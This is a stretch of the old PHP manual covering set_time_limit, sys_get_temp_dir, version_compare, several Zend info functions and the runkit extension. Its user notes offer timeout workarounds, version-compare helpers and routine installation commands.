             {return array('return'=>'1', 'stdout'=>$stdout, 'stderr'=>$stderr);
             }
          $status=proc_get_status($process);
          posix_setpgid($status['pid'], $status['pid']);    //seperate pgid(process group id) from parent's pgid

          stream_set_blocking($pipes[0], 0);
          stream_set_blocking($pipes[1], 0);
          stream_set_blocking($pipes[2], 0);
          fwrite($pipes[0], $stdin);
          fclose($pipes[0]);

          while (1)
                {$stdout.=stream_get_contents($pipes[1]);
                 $stderr.=stream_get_contents($pipes[2]);

                 if (time()-$start>$timeout)
                    {//proc_terminate($process, 9);    //only terminate subprocess, won't terminate sub-subprocess
                     posix_kill(-$status['pid'], 9);    //sends SIGKILL to all processes inside group(negative means GPID, all subprocesses share the top process group, except nested my_timeout_exec)
                     //file_put_contents('debug.txt', time().":kill group {$status['pid']}\n", FILE_APPEND);
                     return array('return'=>'1', 'stdout'=>$stdout, 'stderr'=>$stderr);
                    }

                 $status=proc_get_status($process);
                 //file_put_contents('debug.txt', time().':status:'.var_export($status, true)."\n";
                 if (!$status['running'])
                    {fclose($pipes[1]);
                     fclose($pipes[2]);
                     proc_close($process);
                     return $status['exitcode'];
                    }

                 usleep(100000);
                }
         }
?>

a_class.php:
<?php
class A
{
    static function jack($a, $b)
           {sleep(4);
            file_put_contents('debug.txt', time().":A::jack:".$a.' '.$b."\n", FILE_APPEND);
            sleep(15);
           }
}
?>

test.php:
<?php
require 'my_exec.php';

my_background_exec('A::jack', array('hello', 'jack'), 'require "my_exec.php";require "a_class.php";', 8);
?>
robertbrogers at gmail dot com 10-Jan-2014 05:45
Documentation states:
When called, set_time_limit() restarts the timeout counter from zero. In other words, if the timeout is the default 30 seconds, and 25 seconds into script execution a call such as set_time_limit(20) is made, the script will run for a total of 45 seconds before timing out.

If I have a long running script and i want a exact  time limit, I set this as near as possible to the first line.
mingalevme at gmail dot com 10-May-2012 04:51
If you're using PHP_CLI SAPI and getting error "Maximum execution time of N seconds exceeded" where N is an integer value, try to call set_time_limit(0) every M seconds or every iteration. For example:

<?php

require_once('db.php');

$stmt = $db->query($sql);

while ($row = $stmt->fetchRow()) {
    set_time_limit(0);
    // your code here
}

?>
ratty at brohoof dot com 26-Nov-2011 04:39
One thing that I wish I had found sooner is, if you're using php-cli and really need to limit the executation time, and if you're in *nix, you can use "timeout" which is part of coreutils.
For example:

timeout 5 /usr/bin/php -q /path/to/script

and it will kill it if it takes longer than 5 seconds.
I had a few quick php scripts I wrote for use with cacti for example.
alexander dot krause at ed-solutions dot de 29-Aug-2011 11:26
A nice workaround to have a real max_execution_time (needs posix and pcntl):

<?php
$pid=pcntl_fork();

if ($pid) {
  //long time process
  $a=0;
  while (true) {
    echo "a=$a\n\n";
    ob_flush();
    flush();
    $a++;
    shell_exec('sleep 10&');
  }
} else {
  //time-limit checker
  sleep(5);
  posix_kill(posix_getppid(),SIGKILL);
}
?>
agvozden at gmail dot com 01-Oct-2010 10:51
If you got something like:

msg: set_time_limit() [function.set-time-limit]: Cannot set time limit in safe mode

try this:

<?php
        if( !ini_get('safe_mode') ){
            set_time_limit(25);
        }
?>
kamazee at gmail dot com 21-Sep-2010 03:39
Keep in mind that for CLI SAPI max_execution_time is hardcoded to 0. So it seems to be changed by ini_set or set_time_limit but it isn't, actually.
The only references I've found to this strange decision are deep in bugtracker (http://bugs.php.net/37306) and in php.ini (comments for 'max_execution_time' directive).
Silver_Knight 23-Mar-2010 02:18
if you are running a script that needs to execute for unknown time, or forever.. you may use
set_time_limit(0);
.....
...
..
.
and at the end of the script use flush() function to tell phpto send out what it has generated.
ravenswd at gmail dot com 16-Aug-2009 01:46
Unfortunately, a script which gets into an infinite loop can produce an alarming amount of output in only a few seconds. I was attempting to debug a script, and I added

<?php
set_time_limit(2);
?>

to the beginning of the script. Unfortunately, even two seconds of run time produced enough output to overload the memory available to my browser.

So, I wrote a short routine which would limit the execution time, and also limit the amount of output returned. I added this to the beginning of my script and it worked perfectly:

<?php
set_time_limit(2);

ob_start();     // buffer output

function shutdown () {
    // print only first 2000 characters of output
    $out = ob_get_clean();
    print substr($out, 0, 2000);
}

register_shutdown_function('shutdown');
?>
BW 17-May-2009 02:08
If you use Apache you can change maximum execution time by .htaccess with this line

php_value max_execution_time 200
cweiske at cweiske dot de 02-Sep-2008 01:38
To get the currently used time, use getrusage()
jonathon dot keogh at gmail dot com 18-Jul-2008 11:07
You can do set_time_limit(0); so that the script will run forever - however this is not recommended and your web server might catch you out with an imposed HTTP timeout (usually around 5 minutes).

You should check your web server's guides for more information about HTTP timeouts.

Jonathon
AtlantisNet 04-Jun-2008 09:08
In IIS, there is another global timeout setting which will override any PHP settings.  You can alter this timeout by following the following instructions:

http://www.iisadmin.co.uk/?p=7
php at stock-consulting dot com 12-Jan-2007 02:30
To find out the currently set time limit, use

<?php
 ini_get('max_execution_time');
?>

If set_time_limit has been previously called in the script, the result will be the value which was passed to set_time_limit (and not, as the function name "ini_get" appears to suggest, the value from the php.ini file).
bjfieldNO at SPAMgmail dot com 10-Jan-2007 11:53
Timeouts after five minutes in IIS on Windows are caused by an inherited CGI Timeout value of 300 seconds.  This is not a PHP problem.  The fix is to add custom values for the files or directories that need longer to run.

In IIS 5.0 or 7.0 (beta as of this note), you can change this value on a fairly granular level using IIS Manager, under (roughly) YOURSITE -> Properties -> Home Directory -> Configuration (button) -> Options, but in IIS 6.0, this functionality is turned off (!), so you have to get into the Metabase.

Find the site number in Metabase Explorer (e.g., 12345678), then from CMD prompt:

[get to the scripts dir]
cd C:\Inetpub\AdminScripts

[this for each subdirectory from off the site root]
cscript adsutil.vbs CREATE W3SVC/12345678/root/"MY SUBDIRECTORY" IIsWebDirectory

[this for the file in question]
cscript adsutil.vbs CREATE W3SVC/12345678/root/"MY SUBDIRECTORY"/ILikeToTimeOut.php IIsWebFile

[this to set the timeout]
cscript adsutil.vbs set W3SVC/12345678/root/"MY SUBDIRECTORY"/ILikeToTimeOut.php/CGITimeout "7200"

Note:  "7200" is 2 hours in seconds, but can be whatever.

I derived the solution above from this fine article:
http://www.iis-resources.com/modules/AMS/article.php?
storyid=509&page=3
mba_aslam at yahoo dot com 05-Jan-2007 02:50
while setting the set_time_limit(), the duration of sleep() will be ignored in the execution time. The following illustrates:

<?php

set_time_limit(20);

while ($i<=10)
{
        echo "i=$i ";
        sleep(100);
        $i++;
}

?>

Output:
i=0 i=1 i=2 i=3 i=4 i=5 i=6 i=7 i=8 i=9 i=10
konrads dot smelkovs at gmail dot com 01-Apr-2006 03:35
If you are streaming large data from database, it is counted towards the max exec time.
jatin at jatinchimote dot com 02-Mar-2006 07:54
If you set the number of seconds to a very large number (not many ppl do that, but just in case) then php exits with a fatal error like :

Fatal error: Maximum execution time of 1 second exceeded in /path/to/your/script/why.php

[EDIT by danbrown AT php DOT net: This is due to the limit of 32-bit signed integers.]
Cleverduck 28-Feb-2006 10:36
Regarding what 'nytshadow' said, it's important to realize that max-execution-time and the set_time_limit functions measure the time that the CPU is working on the script.  If the script blocks, IE: for input, select, sleep, etc., then the time between blocking and returning is NOT measured.  This is the same when running scripts from the command line interface.  So if you've got a log parser written in PHP that tails a file, that program WILL fail eventually.  It just depends how long it takes to read in enough input to process for 30 seconds.

If you're writing a command line script that should run infinitely, setting max-execution-time to 0 (never stop) is HIGHLY recommended.
rycardo74 at gmail dot com 25-Nov-2005 07:52
this work to fine html streaming AND time pass limit

<?php
header('Content-type: text/plain');
echo date("H:m:s"), "\n";
set_time_limit(30);
for ($i = 0; $i < 1000; $i++)
{

    echo date("H:m:s"),"\n";
    for ($r = 0; $r < 100000; $r++){
    $X.=  tan(M_LNPI+log(ceil(  date("s")*M_PI*M_LNPI+100)));
    }
    ob_flush();
    flush();

}
echo "work! $x";
?>
eric pecoraro at shepard com 06-Jun-2005 09:57
I was having trouble with script timeouts in applications where the user prompted long running background actions. I wrote this cURL/CLI background script that solved the problem when making requests from HTTP.

<?php

/* BACKGROUND CLI 1.0

   eric pecoraro _at_ shepard dot com - 2005-06-02
   Use at your own risk. No warranties expressed or implied.

   Include this file at the top of any script to run it in the background
   with no time limitations ... e.g., include('background_cli.php');

   The script that calls this file should not return output to the browser.
*/
#  REQUIREMENTS - cURL and CLI
   if ( !function_exists('curl_setopt') OR !function_exists('curl_setopt')  ) {
      echo 'Requires cURL and CLI installations.' ; exit ;
   }

#  BUILD PATHS
   $script = array_pop(explode('/',$SCRIPT_NAME)) ;
   $script_dir = substr($SCRIPT_NAME,0,strlen($SCRIPT_NAME)-strlen($script)) ;
   $scriptURL = 'http://'. $HTTP_HOST . $script_dir . "$script" ;
   $curlURL = 'http://'. $HTTP_HOST . $script_dir . "$script?runscript=curl" ;

#  Indicate that script is being called by CLI
   if ( php_sapi_name() == 'cli' ) {
      $CLI = true ;
   }

#  Action if script is being called by cURL_prompt()
   if ( $runscript == 'curl' ) {
      $cmd = "/usr/local/bin/php ".$PATH_TRANSLATED ; // server location of script to run
      exec($cmd) ;
      exit;
   }

#  USER INTERFACE
   // User answer after submission.
   if ( $post ) {
      cURL_prompt($curlURL) ;
      echo '<div style="margin:25px;"><title>Background CLI</title>';
      echo 'O.K. If all goes well, <b>'.$script.'</b> is working hard in the background with no ' ;
      echo 'timeout limitations. <br><br><form action='.$scriptURL.' method=GET>' ;
      echo '<input type=submit value=" RESET BACKGROUND CLI "></form></div>' ;
      exit ;
   }
   // Start screen.
   if ( !$CLI AND !$runscript ) {
      echo '<title>Background CLI</title><div style="margin:25px;">' ;
      echo '<form action='.$scriptURL.' method=POST>' ;
      echo 'Click to run <b>'.$script.'</b> from the PHP CLI command line, in the background.<br><br>' ;
      echo '<input type=hidden value=1 name=post>' ;
      echo '<input type=submit value=" RUN IN BACKGROUND "></form></div>' ;
      exit ;
   }

#  cURL URL PROMPT FUNCTION
   function cURL_prompt($url_path) {
      ob_start(); // start output buffer
      $c=curl_init($url_path);
      curl_setopt($c, CURLOPT_TIMEOUT, 2); // drop connection after 2 seconds
      curl_exec($c);
      curl_close($c);
      ob_end_clean(); // discard output buffer
   }
?>
php at mightycpa.com 26-Jun-2003 10:30
You may also need to look at Apache's timeout setting (Win32 version for me), I changed max execution time value in php.ini, and still got stopped by Apache's timeout value in the httpd.conf file.
rsallo at gna dot NOSPAM dot es 30-May-2003 01:28
When you are working with IIS, PHP timeout is valid only when it's lower than script timeout defined by IIS.

IIS 5 has a default timeout of 300 seconds. If you need a higher timeout, you also have to change IIS properties. Otherwise, your server will stop your PHP script before it reaches its own timeout.


Returns directory path used for temporary files

  • « set_time_limit
  • version_compare »
  • PHP Manual
  • PHP Options/Info Functions
  • Returns directory path used for temporary files

sys_get_temp_dir

(PHP 5 >= 5.2.1)

sys_get_temp_dir — Returns directory path used for temporary files

Description

string sys_get_temp_dir ( void )

Returns the path of the directory PHP stores temporary files in by default.

Return Values

Returns the path of the temporary directory.

Examples

Example #1 sys_get_temp_dir() example

<?php
// Create a temporary file in the temporary
// files directory using sys_get_temp_dir()
$temp_file = tempnam(sys_get_temp_dir(), 'Tux');

echo $temp_file;
?>

The above example will output something similar to:

C:\Windows\Temp\TuxA318.tmp

See Also

  • tmpfile() - Creates a temporary file
  • tempnam() - Create file with unique file name

User Contributed Notes

antoine dot vermeersch at gmail dot com 14-Sep-2014 04:40
<?php
$dir=sys_get_temp_dir();
?>

Fatal error: Call to undefined function sys_get_temp_dir() in C:\Program Files\EasyPHP 2.0b1\www\op_gestion\y_sys_get_temp_dir.php on line 2
royanee at yahoo dot com 12-Jun-2014 05:27
As of PHP 5.5.0, you can set the sys_temp_dir INI setting so that this function will return a useful value when the default temporary directory is not an option.
Ismail Asci 31-Jan-2014 08:56
It's not documented but this function does not  send the path with trailing spaces, actually it drops the slash if it exists.

https://github.com/php/php-src/blob/af6c11c5f060870d052a2b765dc634d9e47d0f18/main/php_open_temporary_file.c#L238
bert-jan at bugbyte dot nl 29-Mar-2010 10:06
This function does not account for virtualhost-specific modifications to the temp path and/or open_basedir:

<Virtualhost>
php_admin_value open_basedir /home/user
php_admin_value upload_tmp_dir /home/user/tmp
php_admin_value session.save_path /home/user/tmp
</Virtualhost>

Within this config it still returns /tmp
dannel at aaronexodus dot com 07-Sep-2009 10:11
There's no need to use a random name for the directory for tempnam.

Since a file and a directory can't share the same name on the filesystem, we can exploit this and simply use the name of the current file. It is guaranteed that the directory won't exist (because it's a file, of course).

<?php
if ( !function_exists('sys_get_temp_dir')) {
  function sys_get_temp_dir() {
    if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); }
    if (!empty($_ENV['TMPDIR'])) { return realpath( $_ENV['TMPDIR']); }
    if (!empty($_ENV['TEMP'])) { return realpath( $_ENV['TEMP']); }
    $tempfile=tempnam(__FILE__,'');
    if (file_exists($tempfile)) {
      unlink($tempfile);
      return realpath(dirname($tempfile));
    }
    return null;
  }
}
?>
Anonymous 29-Jan-2008 01:08
This function does not always add trailing slash. This behaviour is inconsistent across systems, so you have keep an eye on it.


Compares two "PHP-standardized" version number strings

  • « sys_get_temp_dir
  • zend_logo_guid »
  • PHP Manual
  • PHP Options/Info Functions
  • Compares two "PHP-standardized" version number strings

version_compare

(PHP 4 >= 4.1.0, PHP 5)

version_compare — Compares two "PHP-standardized" version number strings

Description

mixed version_compare ( string $version1 , string $version2 [, string $operator ] )

version_compare() compares two "PHP-standardized" version number strings.

The function first replaces _, - and + with a dot . in the version strings and also inserts dots . before and after any non number so that for example '4.3.2RC1' becomes '4.3.2.RC.1'. Then it compares the parts starting from left to right. If a part contains special version strings these are handled in the following order: any string not found in this list < dev < alpha = a < beta = b < RC = rc < # < pl = p. This way not only versions with different levels like '4.1' and '4.1.2' can be compared but also any PHP specific version containing development state.

Parameters

version1

First version number.

version2

Second version number.

operator

If the third optional operator argument is specified, test for a particular relationship. The possible operators are: <, lt, <=, le, >, gt, >=, ge, ==, =, eq, !=, <>, ne respectively.

This parameter is case-sensitive, values should be lowercase.

Return Values

By default, version_compare() returns -1 if the first version is lower than the second, 0 if they are equal, and 1 if the second is lower.

When using the optional operator argument, the function will return TRUE if the relationship is the one specified by the operator, FALSE otherwise.

Examples

The examples below use the PHP_VERSION constant, because it contains the value of the PHP version that is executing the code.

Example #1 version_compare() examples

<?php
if (version_compare(PHP_VERSION, '6.0.0') >= 0) {
    echo 'I am at least PHP version 6.0.0, my version: ' . PHP_VERSION . "\n";
}

if (version_compare(PHP_VERSION, '5.3.0') >= 0) {
    echo 'I am at least PHP version 5.3.0, my version: ' . PHP_VERSION . "\n";
}

if (version_compare(PHP_VERSION, '5.0.0', '>=')) {
    echo 'I am using PHP 5, my version: ' . PHP_VERSION . "\n";
}

if (version_compare(PHP_VERSION, '5.0.0', '<')) {
    echo 'I am using PHP 4, my version: ' . PHP_VERSION . "\n";
}
?>

Notes

Note:

The PHP_VERSION constant holds current PHP version.

Note:

Note that pre-release versions, such as 5.3.0-dev, are considered lower than their final release counterparts (like 5.3.0).

Note:

Special version strings such as alpha and beta are case sensitive. Version strings from arbitrary sources that do not adhere to the PHP standard may need to be lowercased via strtolower() before calling version_compare().

See Also

  • phpversion() - Gets the current PHP version
  • php_uname() - Returns information about the operating system PHP is running on
  • function_exists() - Return TRUE if the given function has been defined

User Contributed Notes

mindplay.dk 21-Jul-2012 12:10
This little script can perhaps help you understand version comparison a little better - the output is displayed in the comment at the top. Tweak the list of versions if you need more examples...

<?php

#      1 lt 1.0
#    1.0 lt 1.01
#   1.01 eq 1.1
#    1.1 lt 1.10
#   1.10 gt 1.10b
#  1.10b lt 1.10.0

header('Content-type: text/plain');

$versions = array(
  '1',
  '1.0',
  '1.01',
  '1.1',
  '1.10',
  '1.10b',
  '1.10.0',
);

$comps = array(
 -1 => 'lt',
  0 => 'eq',
  1 => 'gt'
);

foreach ($versions as $version) {
  if (isset($last)) {
    $comp = version_compare($last, $version);
    echo str_pad($last,8,' ',STR_PAD_LEFT) . " {$comps[$comp]} {$version}\n";
  }
  $last = $version;
}

?>
rogier 30-Nov-2011 05:43
Please note that supplying an operator that is not listed (e.g. ===), this function returns NULL instead of false.

Tested on PHP5.3.0, Win32
loaded67 at hotmail dot com 30-Sep-2009 01:53
This function is also usefull when working with multiple installations.

As php5.3+ will not have E_STRICT in the error_reporting anymore you can state:

<?php
ini_set('error_reporting', (version_compare(PHP_VERSION, '5.3.0', '<') ? E_ALL|E_STRICT : E_ALL));
?>

Giving you all the error error reporting you want...
insid0r at yahoo dot com 06-Mar-2009 10:05
Since this function considers 1 < 1.0 < 1.0.0, others might find this function useful (which considers 1 == 1.0):

<?php
//Compare two sets of versions, where major/minor/etc. releases are separated by dots.
//Returns 0 if both are equal, 1 if A > B, and -1 if B < A.
function version_compare2($a, $b)
{
    $a = explode(".", rtrim($a, ".0")); //Split version into pieces and remove trailing .0
    $b = explode(".", rtrim($b, ".0")); //Split version into pieces and remove trailing .0
    foreach ($a as $depth => $aVal)
    { //Iterate over each piece of A
        if (isset($b[$depth]))
        { //If B matches A to this depth, compare the values
            if ($aVal > $b[$depth]) return 1; //Return A > B
            else if ($aVal < $b[$depth]) return -1; //Return B > A
            //An equal result is inconclusive at this point
        }
        else
        { //If B does not match A to this depth, then A comes after B in sort order
            return 1; //so return A > B
        }
    }
    //At this point, we know that to the depth that A and B extend to, they are equivalent.
    //Either the loop ended because A is shorter than B, or both are equal.
    return (count($a) < count($b)) ? -1 : 0;
}
?>
Jonathon dot Reinhart at gmail dot com 30-Oct-2007 04:38
I know this is somewhat incomplete, but it did a fair enough job for what I needed.  I was writing some code that needed done immediately on a server that was to be upgraded some time in the future.  Here is a quick replacement for version_compare (without the use of the operator argument). Feel free to add to this / complete it.

<?php
function version_compare2($version1, $version2)
{
    $v1 = explode('.',$version1);
    $v2 = explode('.',$version2);

    if ($v1[0] > $v2[0])
        $ret = 1;
    else if ($v1[0] < $v2[0])
        $ret = -1;

    else    // Major ver are =
    {
        if ($v1[1] > $v2[1])
            $ret = 1;
        else if ($v1[1] < $v2[1])
            $ret = -1;

        else  // Minor ver are =
        {
            if ($v1[2] > $v2[2])
                $ret = 1;
            else if ($v1[2] < $v2[2])
                $ret = -1;
            else
                $ret = 0;
        }
    }

    return $ret;
}
?>
opendb at iamvegan dot net 11-Jun-2007 02:01
Something that may trip some folks up, but is useful to mention is that the following version comparison does not work quite as I expected:
    version_compare('1.0.1', '1.0pl1', '>')

However, its quite easy to get working:
    version_compare('1.0.1', '1.0.0pl1', '>')
arnoud at procurios dot nl 29-Sep-2004 11:28
If you're careful, this function actualy works quite nicely for comparing version numbers from programs other than PHP itself. I've used it to compare MySQL version numbers. The only issue is that version_compare doesn't recognize the 'gamma' addition that mysql uses as being later than 'alpha' or 'beta', because the latter two are treated specially. If you keep this in mind though, you should have no problems.
mina86 at tlen dot pl 01-Jul-2004 04:40
Here's a wrapper which is more tolerant as far as order of arguments is considered:

<?php
function ver_cmp($arg1, $arg2 = null, $arg3 = null) {
  static $phpversion = null;
  if ($phpversion===null) $phpversion = phpversion();

  switch (func_num_args()) {
  case 1: return version_compare($phpversion, $arg1);
  case 2:
    if (preg_match('/^[lg][te]|[<>]=?|[!=]?=|eq|ne|<>$/i', $arg1))
      return version_compare($phpversion, $arg2, $arg1);
    elseif (preg_match('/^[lg][te]|[<>]=?|[!=]?=|eq|ne|<>$/i', $arg2))
      return version_compare($phpversion, $arg1, $arg2);
    return version_compare($arg1, $arg2);
  default:
    $ver1 = $arg1;
    if (preg_match('/^[lg][te]|[<>]=?|[!=]?=|eq|ne|<>$/i', $arg2))
      return version_compare($arg1, $arg3, $arg2);
    return version_compare($arg1, $arg2, $arg3);
  }
}
?>

It also uses phpversion() as a default version if only one string is present. It can make your code look nicer 'cuz you can now write:
<?php if (ver_cmp($version1, '>=', $version2)) something; ?>
and to check a version string against the PHP's version you might use:
<?php if (ver_cmp('>=', $version)) something; ?>
instead of using phpversion().
eric at themepark dot com 22-Jun-2004 06:50
[editors note]
snipbit fixed after comment from Matt Mullenweg

--jm
[/editors note]

so in a nutshell... I believe it works best like this:

<?php
if (version_compare(phpversion(), "4.3.0", ">=")) {
  // you're on 4.3.0 or later
} else {
  // you're not
}
?>
sam at wyvern dot non-spammers-remove dot com dot au 23-May-2004 08:18
Actually, it works to any degree:

<?php
version_compare('1.2.3.4RC7.7', '1.2.3.4RC7.8')
version_compare('8.2.50.4', '8.2.52.6')
?>

will both give -1 (ie the left is lower than the right).


Gets the Zend guid

  • « version_compare
  • zend_thread_id »
  • PHP Manual
  • PHP Options/Info Functions
  • Gets the Zend guid

zend_logo_guid

(PHP 4, PHP 5 < 5.5)

zend_logo_guid — Gets the Zend guid

Description

string zend_logo_guid ( void )

This function returns the ID which can be used to display the Zend logo using the built-in image.

Warning

This function has been DEPRECATED and REMOVED as of PHP 5.5.0.

Return Values

Returns PHPE9568F35-D428-11d2-A769-00AA001ACF42.

Changelog

Version | Description
5.5.0 | zend_logo_guid() has been removed from PHP.

Examples

Example #1 zend_logo_guid() example

<?php

echo '<img src="' . $_SERVER['PHP_SELF'] .
     '?=' . zend_logo_guid() . '" alt="Zend Logo !" />';

?>

See Also

  • php_logo_guid() - Gets the logo guid

User Contributed Notes

There are no user contributed notes for this page.


Returns a unique identifier for the current thread

  • « zend_logo_guid
  • zend_version »
  • PHP Manual
  • PHP Options/Info Functions
  • Returns a unique identifier for the current thread

zend_thread_id

(PHP 5)

zend_thread_id — Returns a unique identifier for the current thread

Description

int zend_thread_id ( void )

This function returns a unique identifier for the current thread.

Return Values

Returns the thread id as an integer.

Examples

Example #1 zend_thread_id() example

<?php
$thread_id = zend_thread_id();

echo 'Current thread id is: ' . $thread_id;
?>

The above example will output something similar to:

Current thread id is: 7864

Notes

Note:

This function is only available if PHP has been built with ZTS (Zend Thread Safety) support and debug mode (--enable-debug).

User Contributed Notes

There are no user contributed notes for this page.


Gets the version of the current Zend engine

  • « zend_thread_id
  • runkit »
  • PHP Manual
  • PHP Options/Info Functions
  • Gets the version of the current Zend engine

zend_version

(PHP 4, PHP 5)

zend_version — Gets the version of the current Zend engine

Description

string zend_version ( void )

Returns a string containing the version of the currently running Zend Engine.

Return Values

Returns the Zend Engine version number, as a string.

Examples

Example #1 zend_version() example

<?php
echo "Zend engine version: " . zend_version();
?>

The above example will output something similar to:

Zend engine version: 2.2.0

See Also

  • phpinfo() - Outputs information about PHP's configuration
  • phpcredits() - Prints out the credits for PHP
  • php_logo_guid() - Gets the logo guid
  • phpversion() - Gets the current PHP version

User Contributed Notes

There are no user contributed notes for this page.


runkit

  • Introduction
  • Predefined Constants
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • runkit Functions
    • Runkit_Sandbox — Runkit Sandbox Class -- PHP Virtual Machine
    • Runkit_Sandbox_Parent — Runkit Anti-Sandbox Class
    • runkit_class_adopt — Convert a base class to an inherited class, add ancestral methods when appropriate
    • runkit_class_emancipate — Convert an inherited class to a base class, removes any method whose scope is ancestral
    • runkit_constant_add — Similar to define(), but allows defining in class definitions as well
    • runkit_constant_redefine — Redefine an already defined constant
    • runkit_constant_remove — Remove/Delete an already defined constant
    • runkit_function_add — Add a new function, similar to create_function
    • runkit_function_copy — Copy a function to a new function name
    • runkit_function_redefine — Replace a function definition with a new implementation
    • runkit_function_remove — Remove a function definition
    • runkit_function_rename — Change a function's name
    • runkit_import — Process a PHP file importing function and class definitions, overwriting where appropriate
    • runkit_lint_file — Check the PHP syntax of the specified file
    • runkit_lint — Check the PHP syntax of the specified php code
    • runkit_method_add — Dynamically adds a new method to a given class
    • runkit_method_copy — Copies a method from class to another
    • runkit_method_redefine — Dynamically changes the code of the given method
    • runkit_method_remove — Dynamically removes the given method
    • runkit_method_rename — Dynamically changes the name of the given method
    • runkit_return_value_used — Determines if the current functions return value will be used
    • runkit_sandbox_output_handler — Specify a function to capture and/or process output from a runkit sandbox
    • runkit_superglobals — Return numerically indexed array of registered superglobals

User Contributed Notes

trincio at gmail dot com 21-Oct-2010 11:10
I found that Mr. Dmitry Zenovich (http://ru.linkedin.com/in/zenovich) implemented a new version of the runkit library here http://github.com/zenovich/runkit/.

Thanks to Mr. Zenovich for his effort in maintaining this library.

Some other interesting updated info here:

http://bit.ly/9puHiH


Introduction

The runkit extension provides means to modify constants, user-defined functions, and user-defined classes. It also provides for custom superglobal variables and embeddable sub-interpreters via sandboxing.

This package is meant as a feature added replacement for the » classkit package. When compiled with the --enable-runkit=classkit option to ./configure, it will export classkit compatible function definitions and constants.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

RUNKIT_IMPORT_FUNCTIONS (integer)
runkit_import() flag indicating that normal functions should be imported from the specified file.
RUNKIT_IMPORT_CLASS_METHODS (integer)
runkit_import() flag indicating that class methods should be imported from the specified file.
RUNKIT_IMPORT_CLASS_CONSTS (integer)
runkit_import() flag indicating that class constants should be imported from the specified file. Note that this flag is only meaningful in PHP versions 5.1.0 and above.
RUNKIT_IMPORT_CLASS_PROPS (integer)
runkit_import() flag indicating that class standard properties should be imported from the specified file.
RUNKIT_IMPORT_CLASSES (integer)
runkit_import() flag representing a bitwise OR of the RUNKIT_IMPORT_CLASS_* constants.
RUNKIT_IMPORT_OVERRIDE (integer)
runkit_import() flag indicating that if any of the imported functions, methods, constants, or properties already exist, they should be replaced with the new definitions. If this flag is not set, then any imported definitions which already exist will be discarded.
RUNKIT_ACC_PUBLIC (integer)
PHP 5 specific flag to runkit_method_add()
RUNKIT_ACC_PROTECTED (integer)
PHP 5 specific flag to runkit_method_add()
RUNKIT_ACC_PRIVATE (integer)
PHP 5 specific flag to runkit_method_add()
CLASSKIT_ACC_PUBLIC (integer)
PHP 5 specific flag to classkit_method_add() Only defined when classkit compatibility is enabled.
CLASSKIT_ACC_PROTECTED (integer)
PHP 5 specific flag to classkit_method_add() Only defined when classkit compatibility is enabled.
CLASSKIT_ACC_PRIVATE (integer)
PHP 5 specific flag to classkit_method_add() Only defined when classkit compatibility is enabled.
CLASSKIT_AGGREGATE_OVERRIDE (integer)
PHP 5 specific flag to classkit_import() Only defined when classkit compatibility is enabled.
RUNKIT_VERSION (string)
Defined to the current version of the runkit package.
CLASSKIT_VERSION (string)
Defined to the current version of the runkit package. Only defined when classkit compatibility is enabled.

User Contributed Notes

shinisaru at gmail 11-Nov-2011 08:52
There is another undocumented constant RUNKIT_IMPORT_CLASS_STATIC_PROPS for Zenovich's implementation of runkit lib.
See php_runkit.h: https://github.com/zenovich/runkit/blob/master/php_runkit.h.


Requirements

Modifying Constants, Functions, Classes, and Methods works with all releases of PHP 4 and PHP 5. No special requirements are necessary.

Custom Superglobals are only available in PHP 4.2.0 or later.

Sandboxing requires PHP 5.1.0 or later, or PHP 5.0.0 with a special TSRM patch applied. Regardless of which version of PHP is in use it must be compiled with the --enable-maintainer-zts option. See the README file in the runkit package for additional information.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/runkit.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

whereyoucanemailme at gmail dot com 18-Jul-2014 11:23
Make sure to install pthreads first.
pecl install pthreads

With the following options:
--enable-debug
--enable-maintainer-zts

then installed runkit
Ferrie Herrie 15-Apr-2013 09:47
If you're missing installation instructions in the readme and normal installations don't work, this is what worked for me on Centos 5.9 with php 5.3.3

cd /tmp
git clone https://github.com/zenovich/runkit.git
cd runkit
pecl install package.xml

// Add to php.ini:
extension=runkit.so

// Restart your webserver
service httpd restart
Dmitry Zenovich 24-Sep-2012 10:11
The project is now hosted on http://github.com/zenovich/runkit

To install a release version, simply type

sudo pecl install https://github.com/downloads/zenovich/runkit/runkit-1.0.3.tgz

(to install version 1.0.3).
See the http://github.com/zenovich/runkit/downloads for the full list of release files.

To get most fresh and hot features you may also build the extension from master-branch source code. Clone it with
git clone git://github.com/zenovich/runkit.git
and follow the instructions in the README file.
frxstrem 25-May-2010 11:19
If the normal PECL installation doesn't work for you, you may want to install from SVN instead:

svn checkout http://svn.php.net/repository/pecl/runkit/trunk/
cd trunk
pecl install package.xml

After pecl has finished installing runkit, add the following line to your php.ini file(s):

extension=runkit.so

Then restart your webserver, and runkit should now be installed and working with your PHP installation.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Runkit Configuration Options
Name | Default | Changeable | Changelog
runkit.superglobal | "" | PHP_INI_PERDIR |
runkit.internal_override | "0" | PHP_INI_SYSTEM |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

runkit.superglobal string
Comma-separated list of variable names to be treated as superglobals. This value should be set in the systemwide php.ini file, but may work in perdir configuration contexts depending on your SAPI.

Example #1 Custom Superglobals with runkit.superglobal=_FOO,_BAR in php.ini

<?php
function show_values() {
  echo "Foo is $_FOO\n";
  echo "Bar is $_BAR\n";
  echo "Baz is $_BAZ\n";
}

$_FOO = 'foo';
$_BAR = 'bar';
$_BAZ = 'baz';

/* Displays foo and bar, but not baz */
show_values();
?>
runkit.internal_override boolean
Enables ability to modify/rename/remove internal functions.

User Contributed Notes

There are no user contributed notes for this page.


runkit Functions

Table of Contents

  • Runkit_Sandbox — Runkit Sandbox Class -- PHP Virtual Machine
  • Runkit_Sandbox_Parent — Runkit Anti-Sandbox Class
  • runkit_class_adopt — Convert a base class to an inherited class, add ancestral methods when appropriate
  • runkit_class_emancipate — Convert an inherited class to a base class, removes any method whose scope is ancestral
  • runkit_constant_add — Similar to define(), but allows defining in class definitions as well
  • runkit_constant_redefine — Redefine an already defined constant
